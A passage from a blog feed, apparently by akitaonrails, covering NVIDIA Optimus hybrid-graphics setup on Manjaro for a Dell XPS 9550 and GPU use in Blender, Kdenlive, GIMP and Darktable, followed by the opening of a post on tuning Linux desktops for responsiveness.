<p>Manjaro is more of an independent distro. The main sources point to Manjaro first, so they can test the most recent packages and hold on to them for a bit longer so rogue packages don&rsquo;t break your system too often. But you still have raw access to AUR packages. The main selling point being a <strong>much</strong> better installer with a more sophisticated auto-partitioning software than Arch Anywhere and their own Hardware Detection software <a href="https://wiki.manjaro.org/index.php?title=Manjaro_Hardware_Detection_Overview"target="_blank" rel="noopener">MHWD</a>.</p>
<p>For the most part it did work properly although I still had to tweak the Graphics configuration as it opts for the open source Nouveau drivers first. Trust me: opt for the proprietary binaries.</p>
<p>If you&rsquo;re also a software developer, you will want to read my <a href="http://www.akitaonrails.com/en/2017/01/10/arch-linux-best-distro-ever"target="_blank" rel="noopener">previous post on Arch</a>.</p>
<h3>Optimus Hybrid Graphics<span class="hx:absolute hx:-mt-20" id="optimus-hybrid-graphics"></span>
    <a href="#optimus-hybrid-graphics" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The Dell XPS model 9550 uses the <strong>Optimus</strong> Hybrid architecture. <strong>Prime</strong> drivers are for standalone NVIDIA GPUs. But most notebooks work with the integrated Intel Graphics card as the primary and only card (particularly lightweight ultrabooks) and the more &ldquo;Pro&rdquo; models bridge it out to a secondary NVIDIA GTX 960M.</p>
<p>If you have only a simple, single Intel graphics, most distros will do the right thing out of the box and install the proper drivers and configuration.</p>
<p>Now, if you have a high-end machine like this XPS 9550 or 9560 (Kaby Lake), you will need more configuring. First you need to understand the terminology:</p>
<ul>
<li>You need to install Bumblebee. This is a daemon that enables access to the secondary GPU. Just installing Bumblebee solves most problems.</li>
<li>Then you need to install Primusrun which is a back-end for Bumblebee and you use it to run programs such as Steam in order for it to have access to the secondary GPU.</li>
<li>Sometimes you will see about Optirun, which nowadays seems to default to Primusrun (otherwise it originally uses a secondary X framebuffer, adding extra overhead).</li>
</ul>
<p>After you have it all installed, it&rsquo;s usually a matter of doing:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>primusrun kdenlive</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For example, to load the video editor Kdenlive to use OpenGL through the Nvidia GPU. Or to run <a href="http://web.archive.org/web/20170220054700/https://forum.manjaro.org/t/newbie-questions-about-hybrid-nvidia-and-intel-gpu-drives-tutorial/2974/26"target="_blank" rel="noopener">Steam through Wine</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>primusrun wine ~/.wine/drive_c/Program\ Files\ (x86)/Steam/Steam.exe</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>As I mentioned before, Manjaro will probably install the Nouveau driver, which is the open source driver. You should install the proprietary binaries, like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo mhwd -a pci nonfree 0300
sudo mhwd -r pci video-hybrid-intel-nouveau-bumblebee
sudo mhwd -i pci video-hybrid-intel-nvidia-bumblebee</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Again, I am considering the XPS 9550 which has the Intel-Nvidia Optimus/hybrid configuration. Read Manjaro&rsquo;s <a href="http://web.archive.org/web/20170517195417/https://wiki.manjaro.org/index.php/Configure_Graphics_Cards"target="_blank" rel="noopener">Configuring Graphics</a> page on the subject.</p>
<p>I did however stumble upon a strange problem. I am using <strong>Linux 4.9</strong> kernel:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ uname -a
Linux arch42 4.9.6-1-MANJARO #1 SMP PREEMPT Thu Jan 26 12:29:20 UTC 2017 x86_64 GNU/Linux</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This is supposedly the <code>core/linux49 4.9.6-1</code> package. But for some reason the <code>mhwd -i</code> command was installing the <code>linux44-nvidia</code> drivers.</p>
<p>So the Nvidia GPU modules were never being loaded until I manually removed it:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -R linux44-nvidia</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And then I manually installed the correct version:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -S linux49-nvidia</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Just to be safe, I uninstalled the <code>linux44</code> package and any other <code>linux44-*</code> package:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -Ss linux44 | grep installed
# sudo pacman -R linux44-(name of the package)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now I have this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ sudo pacman -Ss linux4 | grep installed
core/linux49 4.9.6-1 [installed]
extra/linux49-bbswitch 0.8-6 (linux49-extramodules) [installed]
extra/linux49-ndiswrapper 1.61-4 (linux49-extramodules) [installed]
extra/linux49-nvidia 1:375.26-6 (linux49-extramodules) [installed]</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And in the <code>/etc/bumblebee/bumblebee.conf</code> I make sure it explicitly loads the proper <code>nvidia</code> driver (the aforementioned <code>linux49-nvidia</code>), otherwise you have to <code>sudo vim</code> and edit it:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /etc/bumblebee/bumblebee.conf | grep Driver
# The Driver used by Bumblebee server. If this value is not set (or empty),
Driver=nvidia</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>At the end, if you load Manjaro Settings Manager, you should see something like this:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/614/Screenshot_from_2017-01-31_18-24-34.png" alt="Settings Manager"  loading="lazy" /></p>
<h3>Professional 3D and Video Editing<span class="hx:absolute hx:-mt-20" id="professional-3d-and-video-editing"></span>
    <a href="#professional-3d-and-video-editing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>To test out this setup, I started out by installing <a href="https://wiki.archlinux.org/index.php/Blender"target="_blank" rel="noopener">Blender</a> (one of the best 3D editing tools in the industry). Then I downloaded a free 3D model and animation, and tried to render cycles through GPU Compute. Just to be safe, I also installed the Cuda package:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -S blender cuda</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If the proper drivers are installed, Blender should detect it and enable usage of its CUDA cores:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/608/Screenshot_from_2017-01-31_17-04-58.png" alt="CUDA GPU Compute"  loading="lazy" /></p>
<p>You can monitor the Nvidia card with the <code>nvidia-smi</code> command and it will show something like this:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/609/Screenshot_from_2017-01-31_16-43-46.png" alt="nvidia-smi monitoring"  loading="lazy" /></p>
<p>This should cover Pro 3D modeling if you need.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/615/Screenshot_from_2017-01-31_17-11-18.png" alt="Blender"  loading="lazy" /></p>
<p>Possibly the best video editing tool available for Linux is <a href="https://kdenlive.org/"target="_blank" rel="noopener">Kdenlive</a>. It&rsquo;s the closest you will find to Adobe Premiere or Apple Final Cut Pro.</p>
<p>This is how you must install it:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -S kdenlive ladspa movit sox ffmpeg frei0r-plugins breeze-icons</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And for faster real-time previews, it can be started through Primusrun in a Terminal like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ primusrun kdenlive
OpenGL vendor:  &#34;NVIDIA Corporation&#34;
OpenGL renderer:  &#34;GeForce GTX 960M/PCIe/SSE2&#34;
OpenGL Threaded:  true
OpenGL ARG_SYNC:  true
OpenGL OpenGLES:  false
OpenGL vendor:  &#34;NVIDIA Corporation&#34;
OpenGL renderer:  &#34;GeForce GTX 960M/PCIe/SSE2&#34;
OpenGL Threaded:  true
OpenGL ARG_SYNC:  true
OpenGL OpenGLES:  false</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If I start it without Primusrun, it will first detect the Intel graphics:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ kdenlive
OpenGL vendor:  &#34;Intel Open Source Technology Center&#34;
OpenGL renderer:  &#34;Mesa DRI Intel(R) HD Graphics 530 (Skylake GT2) &#34;
OpenGL Threaded:  false
OpenGL ARG_SYNC:  true
OpenGL OpenGLES:  false
OpenGL vendor:  &#34;Intel Open Source Technology Center&#34;
OpenGL renderer:  &#34;Mesa DRI Intel(R) HD Graphics 530 (Skylake GT2) &#34;
OpenGL Threaded:  false
OpenGL ARG_SYNC:  true
OpenGL OpenGLES:  false</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I am not entirely sure, but I believe Kdenlive uses OpenGL to show you real-time previews of the effects you&rsquo;re applying to the video tracks, and that can probably be syphoned through primus into the secondary Nvidia card as well.</p>
<p>Actually Kdenlive, like its competitor OpenShot, both use the <a href="https://www.mltframework.org/"target="_blank" rel="noopener">MLT Multimedia Framework</a>, the engine for non-linear video editing. Finally, MLT uses <a href="https://movit.sesse.net/"target="_blank" rel="noopener">movit</a>, which is a high-performance, high-quality video filters for the GPU. The <code>pacman</code> install command I mentioned before takes care of installing those optional packages.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/616/Screenshot_from_2017-01-31_18-29-38.png" alt="Kdenlive"  loading="lazy" /></p>
<p>And if you want to leverage the Nvidia GPU for even GIMP, there is an ongoing effort to port filters to use <a href="https://wiki.gimp.org/wiki/Hacking:Porting_filters_to_GEGL"target="_blank" rel="noopener">GEGL/OpenCL</a>. You can enable GEGL by starting Gimp from the Terminal like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>GEGL_USE_OPENCL=yes gimp</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then, you can use the ported plugins through the <code>Tools - GEGL Operation</code>:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/610/Screenshot_from_2017-01-31_17-49-30.png" alt="GEGL Operation"  loading="lazy" /></p>
<p>And if you&rsquo;re a professional photographer, you will want to install <a href="http://www.darktable.org/"target="_blank" rel="noopener">Darktable</a>, which is the closest you will get to Apple Aperture or Adobe Lightroom. It&rsquo;s actually quite nice looking and you will be able to properly retouch your photos.</p>
<p>Darktable automatically detects the Nvidia driver. You don&rsquo;t need to run it through Primusrun or use any special flag.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/617/Screenshot_from_2017-01-31_18-31-04.png" alt="Darktable"  loading="lazy" /></p>
<h3>Final Notes<span class="hx:absolute hx:-mt-20" id="final-notes"></span>
    <a href="#final-notes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>You can check if the application is using the GPU by monitoring it with <code>nvidia-smi</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>watch -n 0.5 nvidia-smi</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This will keep monitoring the GPU every half second. And the application will show up in the processes list with a proper PID and you can see the memory usage (my GPU has 2GB of dedicated DRAM), processing usage, temperature (it can get hot at almost 70 degrees Celsius when I was rendering through Blender).</p>
<p>I think this is the most you can get out of your hardware with Pro-level multimedia applications. I am not a professional using Blender, Kdenlive, Darktable, or Gimp, but it&rsquo;s good to know I can use them for my small needs. Pro users will be able to take more advantage of this machine with this configuration.</p>
<p>As I said in the beginning, if you&rsquo;re really a Pro User, always on the move and in need to quickly make changes to your multimedia projects on-the-go, you will probably be better off with Apple&rsquo;s stack, a Macbook Pro with Final Cut Pro. Don&rsquo;t forget that Final Cut Pro and the other Apple Pro software are super optimized for the Mac hardware, being able to export videos orders of magnitude faster than Premiere, for example.</p>
<p>But you may be a Creative Pro User in the Games industry, or even Mobile development, 3D Video Animation or Post Production, or working in a mixed team with software engineers. And having the ability to build your multimedia assets on a Linux platform can make it interesting for future integration workflows.</p>
<p>Even if you&rsquo;re in the Mac or PC world, you will probably want to use software as Blender, which is a respectable competitor or even complement next to award winning tools such as Maya.</p>
<p>So, even though you have to go through some rough edges in the initial installation and configuration, once it&rsquo;s done it should work just fine.</p>
]]></content:encoded><category>linux</category><category>apple</category><category>hardware</category></item><item><title>Optimizing Linux for Slow Computers</title><link>https://akitaonrails.github.io/en/2017/01/17/optimizing-linux-for-slow-computers/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/01/17/optimizing-linux-for-slow-computers/</guid><pubDate>Tue, 17 Jan 2017 18:15:00 -0200</pubDate><description>&lt;p&gt;I&amp;rsquo;ve been researching a lot about Linux on the Desktop these days as you may see from my posts about &lt;a href="http://www.akitaonrails.com/en/2017/01/06/customizando-o-fedora-25-para-desenvolvedores"target="_blank" rel="noopener"&gt;Fedora 25&lt;/a&gt; and &lt;a href="http://www.akitaonrails.com/en/2017/01/10/arch-linux-a-melhor-distro-de-todas"target="_blank" rel="noopener"&gt;Arch Linux&lt;/a&gt; (recommended!).&lt;/p&gt;
&lt;p&gt;There are some things you must have in mind when migrating to Linux systems.&lt;/p&gt;
&lt;p&gt;Even if you have a top of the line Intel Core i7 Kaby Lake, 32GB of RAM, 2TB M.2 SSDs, you may still benefit from the optimizations I will talk about.&lt;/p&gt;
&lt;p&gt;One of the best resources is &lt;a href="https://wiki.archlinux.org/index.php/Improving_performance"target="_blank" rel="noopener"&gt;Arch Linux&amp;rsquo;s Wiki page on &amp;ldquo;Improving Performance&amp;rdquo;&lt;/a&gt;. You don&amp;rsquo;t need everything there but it&amp;rsquo;s a comprehensive resource that any enthusiast must read.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I&rsquo;ve been researching a lot about Linux on the Desktop these days as you may see from my posts about <a href="http://www.akitaonrails.com/en/2017/01/06/customizando-o-fedora-25-para-desenvolvedores"target="_blank" rel="noopener">Fedora 25</a> and <a href="http://www.akitaonrails.com/en/2017/01/10/arch-linux-a-melhor-distro-de-todas"target="_blank" rel="noopener">Arch Linux</a> (recommended!).</p>
<p>There are some things you must have in mind when migrating to Linux systems.</p>
<p>Even if you have a top of the line Intel Core i7 Kaby Lake, 32GB of RAM, 2TB M.2 SSDs, you may still benefit from the optimizations I will talk about.</p>
<p>One of the best resources is <a href="https://wiki.archlinux.org/index.php/Improving_performance"target="_blank" rel="noopener">Arch Linux&rsquo;s Wiki page on &ldquo;Improving Performance&rdquo;</a>. You don&rsquo;t need everything there but it&rsquo;s a comprehensive resource that any enthusiast must read.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/607/Screenshot_from_2017-01-17_16-55-46.png" alt="htop and iotop"  loading="lazy" /></p>
<h3>It&rsquo;s about Responsiveness, not performance!<span class="hx:absolute hx:-mt-20" id="its-about-responsiveness-not-performance"></span>
    <a href="#its-about-responsiveness-not-performance" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Most people&rsquo;s concerns are first about performance, and this is a mistake. Linux is plenty fast, but for many people it doesn&rsquo;t feel that way on the Desktop.</p>
<p>When tuning a server, you&rsquo;ll really want to tweak for performance and high throughput. That&rsquo;s where most Linux configurations really shine over the competition: they come better tuned to get the most out of server configurations.</p>
<p>But in a Desktop you don&rsquo;t want that. For example, you&rsquo;re copying a 20GB file to your old USB thumb drive, or you&rsquo;re unzipping a large file, or you&rsquo;re compiling that large package from source, or you leave Dropbox in the background syncing gigabytes of files from their servers. Or you&rsquo;re doing &ldquo;nothing&rdquo; (in the foreground at least, but Gnome Tracker is heavily indexing your files in the background) and your environment stutters, hangs for a few seconds, and keeps doing that every so often.</p>
<p>And you&rsquo;re left wondering why Linux is so bad compared to Windows or macOS where you don&rsquo;t see the same behavior on similar hardware.</p>
<blockquote>
  <p>There is a term that is still misunderstood: <strong>real-time</strong>.</p>

</blockquote>
<p>Being real-time does not mean &ldquo;computing super fast&rdquo;, it means &ldquo;being predictable&rdquo;. If something needs to happen in a certain frequency, it doesn&rsquo;t matter if each cycle takes 1 second as long as it consistently takes the same 1 second - in all deadlines. If you have a &ldquo;fast&rdquo; machine that computes faster at 10 milliseconds every cycle, but every so often, randomly hangs for a couple of seconds, this is not real-time. And for media creation, it&rsquo;s a disaster.</p>
<p>There is hard real-time where one peak or valley can be considered a catastrophic failure, and soft real-time where you can handle a few peaks, but not so much. Hard real time requirements are rare, unless you&rsquo;re developing systems for nuclear plants you may miss a few deadlines.</p>
<p>Most responsiveness issues are related to soft real-time situations. You can handle a few sparse peaks here and there, but no more than a few. And this is how you should do your research: not Googling for &ldquo;linux performance&rdquo; but for &ldquo;linux real-time&rdquo; or &ldquo;linux responsiveness&rdquo;.</p>
<p>You will also find that there are niche professionals with special distros just for audio recording and editing, for example <a href="http://libremusicproduction.com/articles/advantages-choosing-audio-orientated-linux-distribution"target="_blank" rel="noopener">AVLinux or KXStudio</a>.</p>
<p>macOS is particularly good for media creators precisely because it&rsquo;s highly tuned for soft real-time, which is critical for software such as Logic Pro. And for the same reason, it&rsquo;s a poor server OS. You will notice that the default Quicktime screen recording is super smooth, you rarely see stutters.</p>
<p>But you don&rsquo;t need to use an audio specific distro or a hard real-time kernel. Critical audio distros don&rsquo;t use PulseAudio, but normal users will not be so concerned about it. We can tune it to find a good balance between responsiveness and performance. If you really want to go hard-core, you may want to read the <a href="http://wiki.linuxaudio.org/wiki/real_time_info"target="_blank" rel="noopener">Linux Audio Wiki on Real Time</a>, but it&rsquo;s out of the scope of this article.</p>
